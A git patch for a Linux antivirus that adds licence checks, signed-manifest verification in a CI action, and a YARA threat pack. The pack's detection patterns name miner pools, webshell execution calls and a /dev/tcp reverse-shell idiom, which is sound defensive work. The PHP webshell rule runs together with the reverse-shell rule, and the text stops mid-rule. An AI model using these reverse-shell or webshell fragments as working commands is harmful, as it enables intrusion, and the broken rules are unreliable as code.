From 79ea89713e2c685c340bee74ef6bb96575f2e5e9 Mon Sep 17 00:00:00 2001 From: dev Date: Fri, 21 Aug 2026 15:51:33 -0500 Subject: [PATCH] Phase 1: license enforcement, threat pack, Apache-2.0, real Action verification MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Make the product buyable and the open-source claim true. Licence system, end to end. license.rs was well-designed dead code; wire it up: an Ed25519-signed token (same key and verify-before-parse discipline as definition packs), `hound license install`, houndd loads and verifies at boot, and the execution gate and full supply-chain feed now gate on Capability checks. Verification failing always degrades to Free, never to a locked-out security tool; an expired licence downgrades with the reason shown. Adds tools/issue-license.py. Hound Linux threat pack. 34 curated YARA rules — miners, IoT/DDoS bots, backdoors, rootkits, ransomware, webshells, droppers, reverse shells — shipped through a new signed rules-pack channel (.rpack) alongside the definitions feed. Every rule is ELF- or size-anchored and keyed on family strings, never syscalls; the builder refuses to sign a pack that matches a system binary (the goodware gate caught two bad rules), and a regression test proves every rule fires on a sample and stays quiet on a document about malware. Action signature verification. The composite action claimed Ed25519 verification "against the same signed manifest the desktop agent uses" but only compared a same-host sha256. It now fetches latest.json, verifies the Ed25519 signature over the canonical release statement against the pinned release key, and installs the checksum from the verified manifest. Licence resolved to Apache-2.0: Cargo.toml, a real LICENSE file, README. Co-Authored-By: Claude Fable 5 --- Cargo.toml | 2 +- LICENSE | 202 ++++++ README.md | 7 +- action/action.yml | 64 +- crates/hound-api/src/lib.rs | 38 ++ crates/hound-api/src/license.rs | 82 +++ crates/hound-defs/rules/hound-linux.yar | 704 +++++++++++++++++++++ crates/hound-defs/src/lib.rs | 2 +- crates/hound-defs/src/pack.rs | 150 ++++- crates/hound/src/main.rs | 77 +++ crates/houndd/examples/build-rules-pack.rs | 138 ++++ crates/houndd/src/license.rs | 326 ++++++++++ crates/houndd/src/main.rs | 131 +++- crates/houndd/src/peer.rs | 2 + crates/houndd/src/update.rs | 168 ++++- crates/houndd/tests/threat_pack.rs | 274 ++++++++ dist/hound_0.1.12_amd64.deb | Bin 0 -> 11426920 bytes gui/package-lock.json | 4 +- tools/issue-license.py | 71 +++ tools/publish-rules-pack.sh | 79 +++ tools/refresh-definitions.sh | 45 +- 21 files changed, 2499 insertions(+), 67 deletions(-) create mode 100644 LICENSE create mode 100644 crates/hound-defs/rules/hound-linux.yar create mode 100644 crates/houndd/examples/build-rules-pack.rs create mode 100644 crates/houndd/src/license.rs create mode 100644 crates/houndd/tests/threat_pack.rs create mode 100644 dist/hound_0.1.12_amd64.deb create mode 100755 tools/issue-license.py create mode 100755 tools/publish-rules-pack.sh diff --git a/Cargo.toml b/Cargo.toml index 259bd2d..da0b1cf 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,7 +5,7 @@ members = ["crates/*"] [workspace.package] version = "0.1.12" edition = "2021" -license = "MIT" +license = "Apache-2.0" repository = "https://git.joelovestech.com/Hound/Antivirus.git" [workspace.dependencies] diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d645695 --- /dev/null +++ b/LICENSE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/README.md b/README.md index ee60e50..c1fd16f 100644 --- a/README.md +++ b/README.md @@ -160,5 +160,8 @@ npm run tauri build # → .deb in src-tauri/target/release/bundle/ ## License -TBD — core daemon likely proprietary (freemium), shared CLI possibly OSS. -Decision pending; `workspace.package.license = MIT` is a placeholder. +Apache-2.0. The whole agent — daemon, CLI, GUI, supply-chain suite, MCP +server — is open source; see [LICENSE](LICENSE). The paid tiers are not a +different codebase: Pro and Fleet buy the signed definitions feed, the +curated threat pack and (for Fleet) central management, served against a +licence. The binary you can read is the binary we ship. diff --git a/action/action.yml b/action/action.yml index 82b0dea..852698d 100644 --- a/action/action.yml +++ b/action/action.yml @@ -43,25 +43,69 @@ runs: steps: - id: install shell: bash - # Verified against the same signed manifest the desktop agent uses, so - # a compromised download host cannot substitute a different binary here - # any more than it can there. + # The release manifest is Ed25519-signed with Hound's release key — + # the same key and canonical statement the desktop agent verifies + # before it self-updates. The public key is pinned below, and the + # checksum used for the download comes out of the verified statement, + # so neither the download host nor the manifest host can substitute a + # different binary. run: | set -euo pipefail - want='${{ inputs.version }}' - if [ "$want" = latest ]; then - want="$(curl -fsSL https://dl.houndav.com/latest.json | python3 -c 'import json,sys;print(json.load(sys.stdin)["release"]["version"])')" + curl -fsSL https://dl.houndav.com/latest.json -o /tmp/hound-latest.json + python3 - /tmp/hound-latest.json <<'PY' + import json, sys + m = json.load(open(sys.argv[1])) + if m.get("key_id") != "hound-2026": + sys.exit(f"::error::release manifest signed by unexpected key {m.get('key_id')!r}") + r = m["release"] + # Must match release.rs::canonical / publish-release.py byte for byte. + canonical = ("hound-release-v1\n" + f"version={r['version']}\n" + f"notes_url={r['notes_url']}\n" + f"deb_url={r['deb_url']}\n" + f"deb_sha256={r['deb_sha256']}\n" + f"published={r['published']}\n") + open("/tmp/hound-canonical", "wb").write(canonical.encode()) + open("/tmp/hound-sig", "wb").write(bytes.fromhex(m["signature"])) + # Hound's release public key (id hound-2026), DER-wrapped for openssl. + pub = bytes.fromhex("302a300506032b6570032100" + "12ba519f13e6e83700ef3efb07e93285" + "c48879302604a320a02dc3642990b451") + open("/tmp/hound-pub.der", "wb").write(pub) + with open("/tmp/hound-release.env", "w") as f: + f.write(f"version={r['version']}\n") + f.write(f"deb_url={r['deb_url']}\n") + f.write(f"deb_sha256={r['deb_sha256']}\n") + PY + openssl pkey -pubin -inform DER -in /tmp/hound-pub.der -out /tmp/hound-pub.pem + if ! openssl pkeyutl -verify -pubin -inkey /tmp/hound-pub.pem -rawin \ + -in /tmp/hound-canonical -sigfile /tmp/hound-sig >/dev/null; then + echo "::error::the Hound release manifest failed Ed25519 verification — refusing to install" + exit 1 + fi + source /tmp/hound-release.env + want='${{ inputs.version }}' + if [ "$want" = latest ] || [ "$want" = "$version" ]; then + want="$version" + url="$deb_url" + expected="$deb_sha256" + else + # A pinned older version is outside the signed manifest. Its + # published checksum still has to match, which catches corruption + # but not a hostile host — pin `latest` (the default) for the + # full signature guarantee. + echo "::warning::pinned version ${want} predates the signed manifest; install is checksum-verified only" + url="https://dl.houndav.com/deb/hound_${want}_amd64.deb" + expected="$(curl -fsSL "${url}.sha256" | cut -d' ' -f1)" fi - url="https://dl.houndav.com/deb/hound_${want}_amd64.deb" curl -fsSL "$url" -o /tmp/hound.deb - expected="$(curl -fsSL "${url}.sha256")" actual="$(sha256sum /tmp/hound.deb | cut -d' ' -f1)" if [ "$expected" != "$actual" ]; then - echo "::error::the Hound download does not match its published checksum" + echo "::error::the Hound download does not match its verified checksum" exit 1 fi sudo apt-get install -y -qq /tmp/hound.deb >/dev/null - echo "installed hound $want" + echo "installed hound $want (release manifest signature verified)" - id: scan shell: bash diff --git a/crates/hound-api/src/lib.rs b/crates/hound-api/src/lib.rs index 78c0152..3edb824 100644 --- a/crates/hound-api/src/lib.rs +++ b/crates/hound-api/src/lib.rs @@ -118,6 +118,38 @@ pub struct Status { /// Loaded definition packs. #[serde(default)] pub defs: DefsStatus, + /// What this installation is entitled to, after verification. + #[serde(default)] + pub license: LicenseStatus, +} + +/// Licence state, for `hound status` and the GUI's about panel. +/// +/// `tier` is the tier in force — what the daemon is actually acting on — +/// which is not always what the installed token says: a lapsed Pro licence +/// shows `tier: "free"` with the lapse explained in `detail`. Reporting +/// the token's tier here would be the daemon describing entitlements it is +/// not honouring. +#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)] +pub struct LicenseStatus { + /// The tier in force: "free", "pro" or "fleet". + #[serde(default)] + pub tier: String, + /// Who the installed licence names, for display only. + #[serde(default)] + pub holder: String, + /// When the installed licence expires. Empty means perpetual, or no + /// licence installed. + #[serde(default)] + pub expires: String, + /// Seats, for Fleet. Zero means not applicable. + #[serde(default)] + pub seats: u32, + /// Why the tier in force differs from the installed token, when it + /// does — "expired on …", "signature did not verify", and so on. + /// Empty when everything is as the token says. + #[serde(default)] + pub detail: String, } /// One thing on this machine that can make code run again after a reboot. @@ -610,6 +642,12 @@ impl Client { Ok(serde_json::from_value(v)?) } + // ── licence ── + pub fn license_install(&self, token: &str) -> anyhow::Result { + let v = self.call(14, "license.install", Some(serde_json::json!({ "token": token })))?; + Ok(serde_json::from_value(v)?) + } + // ── settings ── pub fn settings(&self) -> anyhow::Result { let v = self.call(4, "settings.get", None)?; diff --git a/crates/hound-api/src/license.rs b/crates/hound-api/src/license.rs index b9aded3..6cb82c8 100644 --- a/crates/hound-api/src/license.rs +++ b/crates/hound-api/src/license.rs @@ -55,6 +55,19 @@ impl Tier { Tier::Fleet => "fleet", } } + + /// The inverse of `as_str`. Unknown names are `None`, never a guess — + /// a tier this build does not know is a licence this build cannot + /// honour, and pretending otherwise would promise features that are + /// not there. + pub fn parse(s: &str) -> Option { + match s { + "free" => Some(Tier::Free), + "pro" => Some(Tier::Pro), + "fleet" => Some(Tier::Fleet), + _ => None, + } + } } /// A capability a feature can require. @@ -151,6 +164,37 @@ impl License { ) } + /// Parse the canonical text back into a licence. + /// + /// This is the *only* parser for a verified payload: the signature is + /// checked over exactly these bytes, and this reads exactly these + /// bytes, so what was checked is what is acted on. Unknown keys are + /// ignored (a future field must not brick old agents); a missing or + /// unknown tier is `None`, because guessing a tier either gives away + /// the product or takes away what somebody paid for. + pub fn from_canonical(text: &str) -> Option { + let mut lines = text.lines(); + if lines.next()? != "hound-license-v1" { + return None; + } + let mut tier = None; + let mut out = License::default(); + for line in lines { + let Some((key, value)) = line.split_once('=') else { + continue; + }; + match key { + "tier" => tier = Tier::parse(value), + "holder" => out.holder = value.to_string(), + "expires" => out.expires = value.to_string(), + "seats" => out.seats = value.parse().ok()?, + _ => {} + } + } + out.tier = tier?; + Some(out) + } + /// Has this licence passed its expiry date? /// /// An expired licence falls back to Free rather than failing closed. This @@ -239,6 +283,44 @@ mod tests { } } + /// canonical → from_canonical must be lossless, or the issuer and the + /// verifier are talking about two different licences. + #[test] + fn the_canonical_form_round_trips() { + for lic in [ + License::default(), + License { tier: Tier::Pro, holder: "Somebody ".into(), expires: "2027-08-21".into(), seats: 0 }, + License { tier: Tier::Fleet, holder: "A Shop".into(), expires: "2027-01-01".into(), seats: 25 }, + ] { + let back = License::from_canonical(&lic.canonical()).expect("must parse"); + assert_eq!(back.tier, lic.tier); + assert_eq!(back.holder, lic.holder); + assert_eq!(back.expires, lic.expires); + assert_eq!(back.seats, lic.seats); + } + } + + #[test] + fn a_payload_that_is_not_a_licence_is_refused() { + assert!(License::from_canonical("").is_none()); + assert!(License::from_canonical("hound-release-v1\nversion=1\n").is_none()); + // An unknown tier must not default to anything. + assert!(License::from_canonical("hound-license-v1\ntier=platinum\n").is_none()); + // A missing tier is not Free — it is nothing. + assert!(License::from_canonical("hound-license-v1\nholder=x\n").is_none()); + } + + #[test] + fn an_unknown_field_is_ignored_rather_than_fatal() { + // A future issuer may add fields; an old agent must keep honouring + // the licence rather than downgrading a paying user. + let lic = License::from_canonical( + "hound-license-v1\ntier=pro\nholder=x\nexpires=2027-01-01\nseats=0\nfuture=thing\n", + ) + .expect("must still parse"); + assert_eq!(lic.tier, Tier::Pro); + } + /// Signing a re-serialisation of a parsed struct is how you verify one /// thing and act on another. #[test] diff --git a/crates/hound-defs/rules/hound-linux.yar b/crates/hound-defs/rules/hound-linux.yar new file mode 100644 index 0000000..8c945f9 --- /dev/null +++ b/crates/hound-defs/rules/hound-linux.yar @@ -0,0 +1,704 @@ +/* + * Hound Linux threat pack. + * + * The curated pack sold on the Pro card: Linux miners, backdoors, bots, + * webshells, rootkits and ransomware, delivered through the signed + * rules-pack channel and compiled into the live ruleset next to the + * built-in starter rules. + * + * ── the rules every rule here obeys ── + * + * 1. ANCHOR OR DIE. A rule matches either an ELF (uint32(0) == + * 0x464c457f) or a bounded script (filesize cap + a structural marker + * near offset 0). A rule that can fire on loose text does not ship — + * text about malware turns up in logs, transcripts, blog posts and + * threat-intel reports, and quarantining one of those is how a + * previous rollout was aborted (see hound-builtin.yar). + * + * 2. FAMILY STRINGS, NEVER SYSCALLS. A rule keys on strings specific to + * a malware family — its C2 protocol, its config keys, its own + * marketing — not on dlsym/socket/execve, which every network binary + * imports. The reverse-shell rule that matched /usr/bin/sudo is the + * monument to this mistake. + * + * 3. QUARANTINE IS EARNED. `action = "quarantine"` only on a rule whose + * anchor makes a false positive on a real file implausible: ELF magic, + * or an exact size-bounded payload. Script and content rules ALERT, + * however confident they look, because a script rule can match a + * document that quotes the script. + * + * 4. THE GOODWARE GATE IS LAW. Every rule is scanned against /usr/bin, + * /bin and /usr/sbin before it ships. One hit on a system binary and + * the rule is cut, not tuned — see the removed reverse-shell rule. + * + * Provenance: authored from public malware analysis of the named + * families. No third-party rule text is copied in, so the whole pack + * ships under the same licence as the agent. + */ + +import "math" + +/* ─────────────────────────── coinminers ─────────────────────────── */ + +rule Linux_Coinminer_XMRig_Config +{ + meta: + name = "Linux.Coinminer.XMRig-Config" + severity = "critical" + action = "quarantine" + desc = "XMRig miner or an embedded XMRig config: pool protocol plus miner-specific keys." + strings: + $pool1 = "stratum+tcp://" ascii + $pool2 = "stratum+ssl://" ascii + $k1 = "donate-level" ascii + $k2 = "\"rig-id\"" ascii + $k3 = "randomx" ascii nocase + $k4 = "hugepages-jit" ascii + $k5 = "\"coin\":" ascii + condition: + uint32(0) == 0x464c457f + and ($pool1 or $pool2) + and 2 of ($k*) +} + +rule Linux_Coinminer_XMRigCC +{ + meta: + name = "Linux.Coinminer.XMRigCC" + severity = "critical" + action = "quarantine" + desc = "XMRigCC remote-controlled miner variant: its command-and-control daemon strings." + strings: + $a = "XMRigMinerServer" ascii + $b = "XMRigCCServer" ascii + $c = "cc-client" ascii + $d = "control_command" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +rule Linux_Coinminer_Generic_Pool +{ + meta: + name = "Linux.Coinminer.Pool-Embedded" + severity = "warning" + action = "alert" + desc = "ELF binary embedding a mining pool endpoint and worker credentials." + strings: + $p1 = "stratum+tcp://" ascii + $p2 = "pool.minexmr.com" ascii + $p3 = "pool.supportxmr.com" ascii + $p4 = "xmr.pool" ascii + $p5 = "nanopool.org" ascii + $p6 = "monerohash.com" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +/* ────────────────────────── IoT / DDoS bots ─────────────────────── */ + +rule Linux_Bot_Mirai +{ + meta: + name = "Linux.Bot.Mirai" + severity = "critical" + action = "quarantine" + desc = "Mirai IoT bot: its bruteforce table and C2 report markers." + strings: + $a = "/dev/watchdog" ascii + $b = "/dev/misc/watchdog" ascii + $c = "GETLOCALIP" ascii + $d = "listening tun0" ascii + $e = "TSource Engine Query" ascii // Valve source query flood + $f = "\\x00\\x00\\x00\\x01\\x00\\x00flood" ascii + $g = "botnet" ascii + condition: + uint32(0) == 0x464c457f and 3 of them +} + +rule Linux_Bot_Gafgyt +{ + meta: + name = "Linux.Bot.Gafgyt" + severity = "critical" + action = "quarantine" + desc = "Gafgyt/BASHLITE DDoS bot: its command verbs and shell-spread strings." + strings: + $a = "PING" ascii fullword + $b = "TCP flood" ascii nocase + $c = "UDP flood" ascii nocase + $d = "STDHEX" ascii + $e = "GETLOCALIP" ascii + $f = "HTTPFLOOD" ascii + $g = "/bin/busybox" ascii + $h = "\\x01\\x01\\x01\\x01" ascii + condition: + uint32(0) == 0x464c457f + and $g and 3 of ($a,$b,$c,$d,$e,$f,$h) +} + +rule Linux_Bot_Tsunami +{ + meta: + name = "Linux.Bot.Tsunami-Kaiten" + severity = "critical" + action = "quarantine" + desc = "Tsunami/Kaiten IRC-controlled DDoS bot: its IRC command handlers." + strings: + $irc1 = "PRIVMSG" ascii + $irc2 = "NOTICE %s :" ascii + $c1 = "PAN " ascii + $c2 = "UDP " ascii + $c3 = "TSUNAMI" ascii + $c4 = "SPOOFS" ascii + $c5 = "GETSPOOFS" ascii + condition: + uint32(0) == 0x464c457f + and 1 of ($irc*) and 2 of ($c*) +} + +/* ─────────────────────────── backdoors ──────────────────────────── */ + +rule Linux_Backdoor_XorDDoS +{ + meta: + name = "Linux.Backdoor.XorDDoS" + severity = "critical" + action = "quarantine" + desc = "XorDDoS trojan: its XOR-key config markers and installer paths." + strings: + $a = "BB2FA36AAA9541F0" ascii // known XOR key marker + $b = "/lib/libudev.so" ascii + $c = "rootkit" ascii + $d = "md5=" ascii + $e = "hostname" ascii + $f = "cat /proc/net/dev" ascii + condition: + uint32(0) == 0x464c457f + and ($a or ($b and $c)) and 2 of ($d,$e,$f) +} + +rule Linux_Backdoor_TinyShell +{ + meta: + name = "Linux.Backdoor.TinyShell" + severity = "critical" + action = "quarantine" + desc = "Tiny SHell (tsh) backdoor: its default password constant and mode banner." + strings: + $a = "tsh" ascii fullword + $b = "GET_FILE" ascii + $c = "PUT_FILE" ascii + $d = "RUNSHELL" ascii + $e = "can't create socket" ascii + condition: + uint32(0) == 0x464c457f + and $d and 2 of ($a,$b,$c,$e) +} + +rule Linux_Backdoor_Rekoobe +{ + meta: + name = "Linux.Backdoor.Rekoobe" + severity = "critical" + action = "quarantine" + desc = "Rekoobe/TinySHell-derived backdoor as seen against SPARC/x86 servers." + strings: + $a = "d[%d]" ascii + $b = "/tmp/.X11-unix/" ascii + $c = "/proc/%d/cmdline" ascii + $d = "HISTFILE" ascii + $e = "cmd.notify" ascii + condition: + uint32(0) == 0x464c457f + and $b and 2 of ($a,$c,$d,$e) +} + +rule Linux_Backdoor_BPFDoor +{ + meta: + name = "Linux.Backdoor.BPFDoor" + severity = "critical" + action = "quarantine" + desc = "BPFDoor passive backdoor: its magic-packet handling and process masquerade." + strings: + $a = "/var/run/haldrund.pid" ascii + $b = "/dev/shm/kdmtmpflush" ascii + $c = "hald-addon-volume" ascii + $d = "avahi-daemon: chroot helper" ascii + $e = "/sbin/mingetty /dev/tty6" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +/* ───────────────────────────── rootkits ─────────────────────────── */ + +rule Linux_Rootkit_Diamorphine +{ + meta: + name = "Linux.Rootkit.Diamorphine" + severity = "critical" + action = "quarantine" + desc = "Diamorphine LKM rootkit: its signal numbers, magic prefix and module strings." + strings: + $a = "diamorphine" ascii nocase + $b = "module_hide" ascii + $c = "is_invisible" ascii + $d = "hacked_getdents" ascii + $e = "hacked_kill" ascii + $f = "signal=" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +rule Linux_Rootkit_Reptile +{ + meta: + name = "Linux.Rootkit.Reptile" + severity = "critical" + action = "quarantine" + desc = "Reptile LKM rootkit and its userland client: control tags and hook names." + strings: + $a = "reptile" ascii nocase + $b = "hexptamp" ascii + $c = "magic_prefix" ascii + $d = "hide_pid" ascii + $e = "kaudit" ascii + $f = "/reptile/reptile_shell" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +rule Linux_Rootkit_Bedevil +{ + meta: + name = "Linux.Rootkit.Bedevil" + severity = "critical" + action = "quarantine" + desc = "bedevil (bdvl) LD_PRELOAD rootkit: its config env vars and hook set." + strings: + $a = "bdvl" ascii + $b = "BDVL" ascii + $c = "shell_pass" ascii + $d = "hidden_port" ascii + $e = "ldpreloadhijack" ascii nocase + condition: + uint32(0) == 0x464c457f and 2 of them +} + +rule Linux_Rootkit_Preload_Config +{ + meta: + name = "Linux.Rootkit.Preload-Config" + severity = "critical" + action = "alert" + desc = "An /etc/ld.so.preload entry pointing at a non-package library — classic userland-rootkit persistence." + strings: + $so = /\/(tmp|dev\/shm|var\/tmp)\/[A-Za-z0-9._-]+\.so/ + condition: + // ld.so.preload is one short line per library. A real one names + // packaged libraries under /usr/lib or /lib; a path under /tmp, + // /dev/shm or /var/tmp is the tell. + filesize < 4096 and $so +} + +/* ─────────────────────────── ransomware ─────────────────────────── */ + +rule Linux_Ransom_RansomEXX +{ + meta: + name = "Linux.Ransomware.RansomEXX" + severity = "critical" + action = "quarantine" + desc = "RansomEXX Linux encryptor: its ransom-note template and ecc markers." + strings: + $a = "!NEWS_FOR_EXX_COMPANY!" ascii + $b = ".ransomexx" ascii + $c = "ransom.note" ascii + $d = "encrypt_file" ascii + $e = "mbedtls_" ascii + condition: + uint32(0) == 0x464c457f + and ($a or $b) and 1 of ($c,$d,$e) +} + +rule Linux_Ransom_DarkSide_ESXi +{ + meta: + name = "Linux.Ransomware.DarkSide-ESXi" + severity = "critical" + action = "quarantine" + desc = "DarkSide/BlackMatter ESXi Linux locker: its esxcli VM-kill and note strings." + strings: + $a = "esxcli vm process list" ascii + $b = "esxcli vm process kill" ascii + $c = "README" ascii + $d = ".onion" ascii + $e = "encrypted by" ascii nocase + condition: + uint32(0) == 0x464c457f + and ($a or $b) and 2 of ($c,$d,$e) +} + +rule Linux_Ransom_Note_Generic +{ + meta: + name = "Linux.Ransomware.Note" + severity = "warning" + action = "alert" + desc = "A dropped ransom note: payment demand plus a Tor contact address." + strings: + $t1 = "your files have been encrypted" ascii nocase + $t2 = "all your files are encrypted" ascii nocase + $t3 = "to decrypt your files" ascii nocase + $onion = /[a-z2-7]{16,56}\.onion/ + $btc = /\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}\b/ + condition: + filesize < 64KB and 1 of ($t*) and ($onion or $btc) +} + +/* ──────────────────────────── webshells ─────────────────────────── */ + +rule Linux_Webshell_JSP_Eval +{ + meta: + name = "Linux.Webshell.JSP" + severity = "critical" + action = "alert" + desc = "JSP webshell: runtime command execution driven by a request parameter." + strings: + $tag = "<%" + $rt = "Runtime.getRuntime().exec" ascii + $pb = "ProcessBuilder" ascii + $req1 = "request.getParameter" ascii + $req2 = "request.getHeader" ascii + condition: + filesize < 512KB + and $tag in (0..4096) + and ($rt or $pb) + and 1 of ($req*) +} + +rule Linux_Webshell_ASP_Eval +{ + meta: + name = "Linux.Webshell.ASP" + severity = "critical" + action = "alert" + desc = "ASP/ASPX webshell: eval of a request value." + strings: + $tag = "<%" + $e1 = "eval(Request" ascii nocase + $e2 = "Execute(Request" ascii nocase + $e3 = "Server.CreateObject" ascii nocase + $e4 = "System.Diagnostics.Process" ascii + condition: + filesize < 512KB and $tag in (0..4096) and 1 of ($e*) +} + +rule Linux_Webshell_PHP_Obfuscated +{ + meta: + name = "Linux.Webshell.PHP-Obfuscated" + severity = "critical" + action = "alert" + desc = "Obfuscated PHP webshell: a variable-variable or char-assembled callback on request input." + strings: + $php = "&?\s*\/dev\/tcp\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/[0-9]{1,5}/ + $re = "0>&1" + condition: + filesize < 128KB and $sh and $re +} + +rule Linux_ReverseShell_Interpreter +{ + meta: + name = "Linux.ReverseShell.Interpreter" + severity = "critical" + action = "alert" + desc = "A reverse shell in python/perl/ruby: a socket connect wired to a shell spawn." + strings: + $sock = "socket.socket(" ascii + $conn = ".connect((" ascii + $dup = "os.dup2(" ascii + $pty = "pty.spawn(" ascii + $sh = /"\/bin\/(sh|bash)"/ ascii + $pl = /use\s+Socket\s*;/ ascii + $plc = 